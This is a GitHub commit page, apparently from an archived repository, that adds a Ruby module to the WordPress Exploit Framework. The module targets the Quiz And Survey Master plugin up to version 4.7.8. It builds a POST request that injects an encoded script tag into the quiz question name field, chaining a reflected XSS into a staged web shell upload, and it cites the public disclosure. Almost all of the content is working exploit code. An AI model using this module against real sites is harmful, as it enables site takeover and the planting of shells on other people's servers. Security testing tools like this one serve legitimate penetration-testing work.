This repository was archived by the owner on Oct 22, 2020. It is now read-only.
File tree Expand file tree Collapse file tree 1 file changed +42
-0
lines changed
Expand file tree Collapse file tree 1 file changed +42
-0
lines changed Original file line number Diff line number Diff line change 1+ class Wpxf ::Exploit ::QuizAndSurveyMasterReflectedXssShellUpload < Wpxf ::Module
2+ include Wpxf ::WordPress ::StagedReflectedXss
3+
4+ def initialize
5+ super
6+
7+ update_info (
8+ name : 'Quiz And Survey Master <= 4.7.8 Reflected XSS Shell Upload' ,
9+ author : [
10+ 'Tom Adams' , # Disclosure
11+ 'Rob Carr <rob[at]rastating.com>' # WPXF module
12+ ] ,
13+ references : [
14+ [ 'WPVDB' , '8698' ] ,
15+ [ 'URL' , 'http://seclists.org/fulldisclosure/2016/Dec/63' ]
16+ ] ,
17+ date : 'Dec 15 2016'
18+ )
19+ end
20+
21+ def check
22+ check_plugin_version_from_readme ( 'quiz-master-next' , '4.7.9' )
23+ end
24+
25+ def quiz_id
26+ @quiz_id ||= Utility ::Text . rand_numeric ( 3 )
27+ end
28+
29+ def vulnerable_url
30+ normalize_uri ( wordpress_url_admin , "admin.php?page=mlw_quiz_options&quiz_id=#{ quiz_id } " )
31+ end
32+
33+ def initial_script
34+ create_basic_post_script (
35+ vulnerable_url ,
36+ 'question_type' => '0' ,
37+ 'question_name' => "<script>#{ xss_ascii_encoded_include_script } <\\ /script>" ,
38+ 'question_submission' => 'new_question' ,
39+ 'quiz_id' => quiz_id
40+ )
41+ end
42+ end
You can’t perform that action at this time.
0 commit comments